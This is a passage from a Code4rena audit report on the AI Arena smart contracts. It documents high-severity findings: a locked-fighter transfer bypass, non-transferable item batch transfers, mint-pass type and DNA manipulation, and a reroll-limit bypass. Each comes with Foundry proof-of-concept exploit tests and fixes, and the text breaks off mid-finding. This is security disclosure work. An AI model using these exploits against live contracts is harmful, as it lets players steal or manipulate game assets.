Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the AI Arena smart contract system written in Solidity. The audit took place between February 9—February 21 2024.

Following the C4 audit, 3 wardens (d3e4, fnanni, and niser93) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Wardens

299 Wardens contributed reports to AI Arena:

1. fnanni
2. d3e4
3. niser93
4. haxatron
5. BARW (BenRai and albertwh1te)
6. juancito
7. DanielArmstrong
8. 0xDetermination
9. merlinboii
10. 0x11singh99
11. MrPotatoMagic
12. klau5
13. MidgarAudits (vangrim and EVDoc)
14. Timenov
15. lil_eth
16. btk
17. givn
18. rspadi
19. josephdara
20. SovaSlava
21. Rolezn
22. K42
23. Sabit
24. vnavascues
25. 0xblackskull
26. CodeWasp (slylandro_star, kuprum, audithare, and spaghetticode_sentinel)
27. sobieski
28. andywer
29. ZanyBonzy
30. 0xSmartContract
31. immeas
32. 14si2o_Flint
33. Draiakoo
34. hunter_w3b
35. Greed
36. sashik_eth
37. yongskiws
38. 0xepley
39. aariiif
40. popeye
41. 0xweb3boy
42. abhishek_thaku_r
43. dimulski
44. 0xCiphky
45. offside0011
46. PoeAudits
47. ahmedaghadi
48. yotov721
49. kiqo
50. djxploit
51. PedroZurdo (CaeraDenoir and shui)
52. alexzoid
53. peter
54. cats
55. Tychai0s
56. lsaudit
57. kartik_giri_47538
58. ktg
59. DarkTower (0xrex and haxatron)
60. 0xAlix2 (a_kalout and ali_shehab)
61. stakog
62. korok
63. Aamir
64. pontifex
65. Fulum
66. iamandreiski
67. maxim371
68. 0xShitgem
69. radev_sw
70. alexxander
71. zaevlad
72. t0x1c
73. McToady
74. Krace
75. evmboi32
76. 0xBinChook
77. MatricksDeCoder
78. ke1caM
79. ubl4nk
80. forkforkdog
81. sl1
82. swizz
83. solmaxis69 (seeques and melihdhs)
84. Aymen0909
85. grearlake
86. VAD37
87. bhilare_
88. Kow
89. Zac
90. 0xLogos
91. web3pwn
92. jnforja
93. rouhsamad
94. BoRonGod
95. Tricko
96. 0brxce
97. zxriptor
98. Kalogerone
99. visualbits
100. Velislav4o
101. lanrebayode77
102. shaflow2
103. SpicyMeatball
104. ladboy233
105. Shubham
106. nuthan2x
107. jesjupyter
108. favelanky
109. 0xvj
110. SAQ
111. JcFichtner
112. _eperezok
113. PetarTolev
114. sandy
115. 0xStriker
116. kutugu
117. Bauchibred
118. peanuts
119. pynschon
120. 0xAsen
121. yovchev_yoan
122. oualidpro
123. rekxor
124. pipidu83
125. kaveyjoe
126. hassanshakeel13
127. ansa-zanjbeel
128. cheatc0d3
129. tala7985
130. 0xbrett8571
131. wahedtalash77
132. fouzantanveer
133. foxb868
134. Myd
135. 0xblack_bird
136. cudo
137. clara
138. scokaf (Scoon and jauvany)
139. albahaca
140. JayShreeRAM
141. 0xRiO
142. shaka
143. 0xE1
144. AlexCzm
145. emrekocak
146. al88nsk
147. mikesans
148. SY_S
149. SM3_SS
150. shamsulhaq123
151. donkicha
152. dharma09
153. unique
154. Raihan
155. yashgoel72
156. lrivo
157. 0xAnah
158. ziyou-
159. judeabara
160. Blank_Space (bLnk and 10ambear)
161. 0xmystery
162. agadzhalov
163. KmanOfficial
164. cartlex_
165. EagleSecurity (mitev and alexander_orjustalex)
166. 0xMosh
167. DeFiHackLabs (IceBear, SunSec, and ret2basic)
168. BigVeezus
169. Tekken
170. 0xAkira
171. 7ashraf
172. Bube
173. SHA_256
174. BenasVol
175. boredpukar
176. c0pp3rscr3w3r
177. 0xgrbr
178. Giorgio
179. aslanbek
180. petro_1912
181. n0kto
182. VrONTg
183. handsomegiraffe
184. denzi_
185. csanuragjain
186. ubermensch
187. erosjohn
188. Silvermist
189. pkqs90
190. 0xlemon
191. WoolCentaur
192. FloatingPragma (Stoicov and nmirchev8)
193. soliditywala
194. Ryonen
195. Abdessamed
196. radin100
197. blutorque
198. 0rpse
199. Tendency
200. krikolkk
201. Topmark
202. zhaojohnson
203. matejdb
204. Honour
205. israeladelaja
206. ni8mare
207. YouCrossTheLineAlfie
208. neocrao
209. 0xAadi
210. forgebyola
211. Merulez99
212. Varun_05
213. devblixt
214. 0xWallSecurity
215. dutra
216. Matue
217. Tumelo_Crypto
218. KupiaSec
219. JCN
220. AC000123
221. ADM
222. stackachu
223. 0xKowalski
224. 0xAleko
225. OMEN
226. adamn000
227. Archime
228. 0xaghas
229. novamanbg
230. xchen1130
231. 0xbranded
232. linmiaomiao
233. AgileJune
234. Davide
235. Jorgect
236. okolicodes
237. 0xabhay
238. 0xG0P1
239. merlin
240. almurhasan
241. tallo
242. 0xlamide
243. dipp
244. ReadyPlayer2
245. 0x13
246. deadrxsezzz
247. Nyxaris
248. inzinko
249. cu5t0mpeo
250. Avci (0xdanial and 0xArshia)
251. 0xPluto
252. jesusrod15
253. taner2344
254. y4y
255. Fitro
256. GoSlang
257. Cryptor
258. pa6kuda
259. thank_you
260. dvrkzy
261. Pelz
262. GhK3Ndf
263. Limbooo
264. hulkvision
265. jaydhales
266. Josh4324
267. DMoore
268. adam-idarrha
269. 0xlyov
270. 0xGreyWolf
271. tpiliposian
272. 0xkaju
273. honey-k12
274. bgsmallerbear
275. PUSH0 (jojo and thekmj)
276. gesha17
277. desaperh
278. Daniel526
279. m4ttm
280. 0xprinc
281. Breeje
282. 0xpoor4ever

The original audit was judged by hickuphh3.

The mitigation review was judged by ronnyx2017.

Final report assembled by PaperParachute and liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 17 unique vulnerabilities. Of these vulnerabilities, 8 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 60 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 36 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 AI Arena repository, and is composed of 9 smart contracts written in the Solidity programming language and includes 1271 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, TragedyOTCommons from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (8)

[H-01] A locked fighter can be transferred; leads to game server unable to commit transactions, and unstoppable fighters

Submitted by CodeWasp, also found by adam-idarrha, d3e4, vnavascues, c0pp3rscr3w3r, shaka, GhK3Ndf, alexxander, Fulum, thank_you, denzi_, Limbooo, korok, evmboi32, juancito, grearlake, ktg, radev_sw, rouhsamad, KmanOfficial, MidgarAudits, KupiaSec, 0xaghas, Bauchibred, jaydhales, immeas, MrPotatoMagic, soliditywala, sashik_eth, 0xLogos, Tendency, 0x13, PedroZurdo, al88nsk, ladboy233 (1, 2), merlinboii, DanielArmstrong, hulkvision, israeladelaja, Draiakoo, ADM, petro_1912, nuthan2x, 0xCiphky, peanuts, cats, 0xAsen, stackachu, deadrxsezzz, Krace, jnforja, 0xvj, _eperezok, pkqs90, Josh4324, web3pwn, Aamir, btk, pynschon (1, 2), 0xE1, ubl4nk, fnanni, devblixt, cartlex_, erosjohn, BARW, dimulski, zhaojohnson, blutorque, Kalogerone, DMoore, jesjupyter, 0xlemon, klau5, 0xAlix2, alexzoid, novamanbg, sobieski, xchen1130, matejdb, tallo, Pelz, oualidpro, aslanbek, and 0xlyov

FighterFarm contract implements restrictions on the transferability of fighters in functions transferFrom() and safeTransferFrom(), via the call to function _ableToTransfer(). Unfortunately this approach doesn’t cover all possible ways to transfer a fighter: The FighterFarm contract inherits from OpenZeppelin’s ERC721 contract, which includes the public function safeTransferFrom(…, data), i.e. the same as safeTransferFrom() but with the additional data parameter. This inherited function becomes available in the GameItems contract, and calling it allows us to circumvent the transferability restriction. As a result, a player will be able to transfer any of their fighters, irrespective of whether they are locked or not. Violation of such a basic system invariant leads to various kinds of impacts, including:

• The game server won’t be able to commit some transactions;
• The transferred fighter becomes unstoppable (a transaction in which it loses can’t be committed);
• The transferred fighter may be used as a “poison pill” to spoil another player, and prevent it from leaving the losing zone (a transaction in which it wins can’t be committed).

Both of the last two impacts include the inability of the game server to commit certain transactions, so we illustrate both of the last two with PoCs, thus illustrating the first one as well.

Impact 1: A fighter becomes unstoppable, game server unable to commit

If a fighter wins a battle, points are added to accumulatedPointsPerAddress mapping. When a fighter loses a battle, the reverse happens: points are subtracted. If a fighter is transferred after it wins the battle to another address, accumulatedPointsPerAddress for the new address is empty, and thus the points can’t be subtracted: the game server transaction will be reverted. By transferring the fighter to a new address after each battle, the fighter becomes unstoppable, as its accumulated points will only grow, and will never decrease.

Impact 2: Another fighter can’t win, game server unable to commit

If a fighter loses a battle, funds are transferred from the amount at stake, to the stake-at risk, which is reflected in the amountLost mapping of StakeAtRisk contract. If the fighter with stake-at-risk is transferred to another player, the invariant that amountLost reflects the lost amount per address is violated: after the transfer the second player has more stake-at-risk than before. A particular way to exploit this violation is demonstrated below: the transferred fighter may win a battle, which leads to reducing amountLost by the corresponding amount. Upon subsequent wins of the second player own fighters, this operation will underflow, leading to the game server unable to commit transactions, and the player unable to exit the losing zone. This effectively makes a fighter with the stake-at-risk a “poison pill”.

Proof of Concept

Impact 1: A fighter becomes unstoppable, game server unable to commit

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..dfaaad4 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,31 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+   /// @notice An exploit demonstrating that it's possible to transfer a staked fighter, and make it immortal!
+    function testExploitTransferStakedFighterAndPlay() public {
+        address player = vm.addr(3);
+        address otherPlayer = vm.addr(4);
+        _mintFromMergingPool(player);
+        uint8 tokenId = 0;
+        _fundUserWith4kNeuronByTreasury(player);
+        vm.prank(player);
+        _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId);
+        // The fighter wins one battle
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+        // The player transfers the fighter to other player
+        vm.prank(address(player));
+        _fighterFarmContract.safeTransferFrom(player, otherPlayer, tokenId, "");
+        assertEq(_fighterFarmContract.ownerOf(tokenId), otherPlayer);
+        // The fighter can't lose
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        vm.expectRevert();
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, true);
+        // The fighter can only win: it's unstoppable!
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+    }
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

forge test --match-test testExploitTransferStakedFighterAndPlay

Impact 2: Another fighter can’t win, game server unable to commit

diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..196e3a0 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,62 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+/// @notice Prepare two players and two fighters
+function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+    address player1 = vm.addr(3);
+    _mintFromMergingPool(player1);
+    uint8 fighter1 = 0;
+    _fundUserWith4kNeuronByTreasury(player1);
+    address player2 = vm.addr(4);
+    _mintFromMergingPool(player2);
+    uint8 fighter2 = 1;
+    _fundUserWith4kNeuronByTreasury(player2);
+    return (player1, player2, fighter1, fighter2);
+}
+
+/// @notice An exploit demonstrating that it's possible to transfer a fighter with funds at stake
+/// @notice After transferring the fighter, it wins the battle, 
+/// @notice and the second player can't exit from the stake-at-risk zone anymore.
+function testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer() public {
+    (address player1, address player2, uint8 fighter1, uint8 fighter2) = 
+        preparePlayersAndFighters();
+    vm.prank(player1);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter1);        
+    vm.prank(player2);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter2);        
+    // Fighter1 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 999 * 10 ** 18);
+    // Fighter2 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter2), 999 * 10 ** 18);
+
+    // On the game server, player1 initiates a battle with fighter1,
+    // then unstakes all remaining stake from fighter1, and transfers it
+    vm.prank(address(player1));
+    _rankedBattleContract.unstakeNRN(999 * 10 ** 18, fighter1);
+    vm.prank(address(player1));
+    _fighterFarmContract.safeTransferFrom(player1, player2, fighter1, "");
+    assertEq(_fighterFarmContract.ownerOf(fighter1), player2);
+    // Fighter1 wins a battle, and part of its stake-at-risk is derisked.
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 1 * 10 ** 15);
+    // Fighter2 wins a battle, but the records can't be updated, due to underflow!
+    vm.expectRevert();
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, true);
+    // Fighter2 can't ever exit from the losing zone in this round, but can lose battles
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    (uint32 wins, uint32 ties, uint32 losses) = _rankedBattleContract.getBattleRecord(fighter2);
+    assertEq(wins, 0);
+    assertEq(ties, 0);
+    assertEq(losses, 2);
+}
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

forge test --match-test testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer

Recommended Mitigation Steps

Remove the incomplete checks in the inherited functions transferFrom() and safeTransferFrom() of FighterFarm contract, and instead to enforce the transferability restriction via the _beforeTokenTransfer() hook, which applies equally to all token transfers, as illustrated below.

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..9f9ac54 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -330,40 +330,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         );
     }
 
-    /// @notice Transfer NFT ownership from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function transferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _transfer(from, to, tokenId);
-    }
-
-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function safeTransferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _safeTransfer(from, to, tokenId, "");
-    }
-
     /// @notice Rolls a new fighter with random traits.
     /// @param tokenId ID of the fighter being re-rolled.
     /// @param fighterType The fighter type.
@@ -448,7 +414,9 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         internal
         override(ERC721, ERC721Enumerable)
     {
-        super._beforeTokenTransfer(from, to, tokenId);
+        if(from != address(0) && to != address(0))
+            require(_ableToTransfer(tokenId, to));
+        super._beforeTokenTransfer(from, to , tokenId);
     }
 
     /*//////////////////////////////////////////////////////////////

brandinho (AI Arena) confirmed

AI Arena mitigated:

Fixed safeTransferFrom override with data.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/2

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

[H-02] Non-transferable GameItems can be transferred with GameItems::safeBatchTransferFrom(...)

Submitted by Aamir, also found by m4ttm, vnavascues, visualbits, Fulum, peter, GhK3Ndf, shaka, sandy, alexxander, thank_you, evmboi32, 0xprinc, Limbooo, denzi_, grearlake, Greed, korok, josephdara, juancito, ZanyBonzy, Breeje, hulkvision, KmanOfficial, CodeWasp, DeFiHackLabs, 0xaghas, MidgarAudits, Ryonen, alexzoid, n0kto, immeas, Aymen0909, jaydhales, sashik_eth, soliditywala, 0xLogos, 0x13, Tendency, 0xpoor4ever, PedroZurdo, merlinboii, ni8mare, BARW, israeladelaja, 0xlyov, Draiakoo, petro_1912, ADM, Krace, 0x11singh99, McToady, ktg, 0xCiphky, MrPotatoMagic, 0xWallSecurity, cats, nuthan2x, ladboy233, 0xAsen, stackachu, deadrxsezzz, 0xvj, _eperezok, pkqs90, Josh4324, web3pwn, jnforja, Jorgect, SovaSlava, btk, pynschon, blutorque, lil_eth, 0xE1, fnanni, Bauchibred, devblixt, tpiliposian, erosjohn, Pelz, ubl4nk, cartlex_, krikolkk, Kalogerone, kutugu, zhaojohnson, shaflow2, pa6kuda, djxploit, solmaxis69, 0rpse, 0xlemon, 0xKowalski, SpicyMeatball, novamanbg, DMoore, jesjupyter, csanuragjain, 0xBinChook, matejdb, tallo, aslanbek, 0xAlix2, sobieski, kiqo, dimulski, xchen1130, 0xbranded, oualidpro, Timenov, haxatron, klau5, and al88nsk

The GamesItems contract fails to appropriately override and include essential checks within the safeBatchTransferFrom function, enabling the transfer of non-transferrable Game Items.

Impact

While the GamesItems contract allows for the designation of Game Items as either transferrable or non-transferrable through different states and overrides the ERC1155::safeTransferFrom(...) function accordingly, it neglects to override the ERC1155::safeBatchTransferFrom(...) function. This oversight permits users to transfer Game Items that were intended to be non-transferrable.

Proof of Concept

Here is a test for PoC:

NOTE: Include the below given test in GameItems.t.sol.

    function testNonTransferableItemCanBeTransferredWithBatchTransfer() public {
        // funding owner address with 4k $NRN
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        // owner minting itme
        _gameItemsContract.mint(0, 1);

        // checking that the item is minted correctly
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);

        // making the item non-transferable
        _gameItemsContract.adjustTransferability(0, false);

        vm.expectRevert();
        // trying to transfer the non-transferable item. Should revert
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        // checking that the item is still in the owner's account
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);

        // transferring the item using safeBatchTransferFrom
        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");

        // checking that the item is transferred to the delegated address
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Output:

┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit]
└─$ forge test --mt testNonTransferableItemCanBeTransferredWithBatchTransfer
[⠒] Compiling...
[⠃] Compiling 1 files with 0.8.13
[⠒] Solc 0.8.13 finished in 1.77s
Compiler run successful!

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testNonTransferableItemCanBeTransferredWithBatchTransfer() (gas: 190756)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

It is recommended to override the safeBatchTransferFrom(...) function and include the necessary checks to prevent the transfer of non-transferrable Game Items.

+    function safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) public override(ERC1155) {
+        for(uint256 i; i < ids.length; i++{
+            require(allGameItemAttributes[ids[i]].transferable);
+        }
+        super.safeBatchTransferFrom(from, to, ids, amounts, data);
+    }

Or, consider overriding the _safeBatchTransferFrom(...) function as follows:

+    function _safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) internal override(1155) {
+        require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
+        require(to != address(0), "ERC1155: transfer to the zero address");
+
+        address operator = _msgSender();
+
+        _beforeTokenTransfer(operator, from, to, ids, amounts, data);
+
+        for (uint256 i = 0; i < ids.length; ++i) {
+            require(
+            uint256 id = ids[i];
+            uint256 amount = amounts[i];
+           require(allGameItemAttributes[id].transferable);
+            uint256 fromBalance = _balances[id][from];
+            require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
+            unchecked {
+                _balances[id][from] = fromBalance - amount;
+            }
+            _balances[id][to] += amount;
+        }
+
+        emit TransferBatch(operator, from, to, ids, amounts);
+
+        _afterTokenTransfer(operator, from, to, ids, amounts, data);
+
+        _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
+    }

brandinho (AI Arena) confirmed

hickuphh3 (judge) increased severity to High

AI Arena mitigated:

Fixed Non-transferable GameItems being transferred with GameItems::safeBatchTransferFrom.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/4

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

[H-03] Players have complete freedom to customize the fighter NFT when calling redeemMintPass and can redeem fighters of types Dendroid and with rare attributes

Submitted by Abdessamed, also found by juancito (1, 2), vnavascues, d3e4, DarkTower, shaka, alexxander, 0xmystery, evmboi32 (1, 2, 3), soliditywala, givn, korok, dimulski, denzi_, VAD37, sl1, OMEN, stakog, ahmedaghadi, Ryonen, FloatingPragma, n0kto (1, 2), adamn000, 0rpse, bhilare_, 0xAsen, Tendency, ke1caM, Draiakoo (1, 2), Archime, ADM, McToady, MrPotatoMagic, 0xCiphky (1, 2), VrONTg, Velislav4o, btk (1, 2), stackachu, zhaojohnson, 0xvj (1, 2), pkqs90, devblixt, niser93, cats, peter, BARW (1, 2, 3), Aamir, jesjupyter, fnanni, alexzoid, krikolkk, t0x1c, yotov721, klau5, 0xlemon, radin100, 0xAlix2, SpicyMeatball, matejdb, haxatron, JCN, immeas, PetarTolev, and Zac

The function redeemMintPass allows burning multiple mint passes in exchange for fighters’ NFTs. It is mentioned by the sponsor that the player should not have a choice of customizing the fighters’ properties and their type. However, nothing prevents a player from:

1. Providing uint8[] fighterTypes of values 1 to mint fighters of types Dendroid.
2. Checking previous transactions in which the dna provided led to minting fighters with rare physical attributes, copying those Dnas and passing them to the redeemMinPass to mint fighters with low rarity attributes. That is because creating physical attributes is deterministic, so providing the same inputs leads to generating a fighter with the same attributes.

Impact

This issue has two major impacts:

• Players with valid mint passes can mint fighters of type Dendroid easily.
• Players with valid mint passes can mint easily fighters with low rarity attributes which breaks the pseudo-randomness attributes generation aspect

Proof of Concept

For someone having valid mint passes, he calls the function redeemMintPass providing fighterTypes array of values 1. For each mint pass, the inner function _createNewFighter will be called passing the value 1 as fighterType argument which corresponds to Dendroid, a new fighter of type dendroid will be minted for the caller.

function test_redeeming_dendroid_fighters_easily() public {
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    _fighterTypes[0] = 1; // @audit Notice that I can provide value 1 which corresponds to Dendroid type
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    _fighterFarmContract.redeemMintPass(
    _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a fighter
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
}

Ran 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] test_redeeming_dendroid_fighters_easily() (gas: 578678)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.56ms

Ran 1 test suite: 1 tests passed, 0 failed, 0 skipped (1 total tests)

The player can also inspect previous transactions that minted a fighter with rare attributes, copy the provided mintPassDnas and provide them as argument in the redeemMintPass. The _createNewFighter function calls AiArenaHelper to create the physical attributes for the fighter. The probability of attributes is deterministic and since the player provided dna that already led to a fighter with rare attributes, his fighter will also have rare attributes.

Recommended Mitigation Steps

The main issue is that the mint pass token is not tied to the fighter properties that the player should claim and the player has complete freedom of the inputs. Consider implementing a signature mechanism that prevents the player from changing the fighter’s properties like implemented in claimFighters

brandinho (AI Arena) confirmed

AI Arena mitigated:

https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/10

Status: Mitigation confirmed. Full details in reports from niser93 and fnanni.

[H-04] Since you can reroll with a different fighterType than the NFT you own, you can reroll bypassing maxRerollsAllowed and reroll attributes based on a different fighterType

Submitted by klau5, also found by McToady, Tychai0s (1, 2), vnavascues, d3e4, shaka, alexxander, grearlake, AlexCzm, lanrebayode77, evmboi32, givn, juancito, VAD37, Varun_05, DanielArmstrong, linmiaomiao, 14si2o_Flint, Ryonen, n0kto, alexzoid, ktg, denzi_, Aymen0909, Davide, soliditywala, Aamir, sashik_eth, sl1, nuthan2x, 0xAsen, merlinboii, ke1caM, Draiakoo, petro_1912, MrPotatoMagic, PoeAudits, 0xCiphky, aslanbek, 0xvj, cats (1, 2), yotov721, btk, pynschon, solmaxis69, fnanni, 0xAlix2, 0xKowalski, blutorque, t0x1c, ubl4nk, BARW, radin100, Giorgio, zhaojohnson, 0xlemon, jesjupyter, SpicyMeatball, novamanbg, xchen1130, matejdb, haxatron, 0xAleko, Blank_Space, and Silvermist

Can reroll attributes based on a different fighterType, and can bypass maxRerollsAllowed.

Proof of Concept

maxRerollsAllowed can be set differently depending on the fighterType. Precisely, it increases as the generation of fighterType increases.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
@>  generation[fighterType] += 1;
@>  maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

The reRoll function does not verify if the fighterType given as a parameter is actually the fighterType of the given tokenId. Therefore, it can use either 0 or 1 regardless of the actual type of the NFT.

This allows bypassing maxRerollsAllowed for additional reRoll, and to call _createFighterBase and createPhysicalAttributes based on a different fighterType than the actual NFT’s fighterType, resulting in attributes calculated based on different criteria.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
@>  require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
@>      (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
@>          generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

PoC:

1. First, there is a bug that there is no way to set numElements, so add a numElements setter to FighterFarm. This bug has been submitted as a separate report.

   function numElementsSetterForPoC(uint8 _generation, uint8 _newElementNum) public {
       require(msg.sender == _ownerAddress);
       require(_newElementNum > 0);
       numElements[_generation] = _newElementNum;
   }

2. Add a test to the FighterFarm.t.sol file and run it. The generation of Dendroid has increased, and maxRerollsAllowed has increased. The user who owns the Champion NFT bypassed maxRerollsAllowed by putting the fighterType of Dendroid as a parameter in the reRoll function.

   function testPoCRerollBypassMaxRerollsAllowed() public {
       _mintFromMergingPool(_ownerAddress);
       // get 4k neuron from treasury
       _fundUserWith4kNeuronByTreasury(_ownerAddress);
       // after successfully minting a fighter, update the model
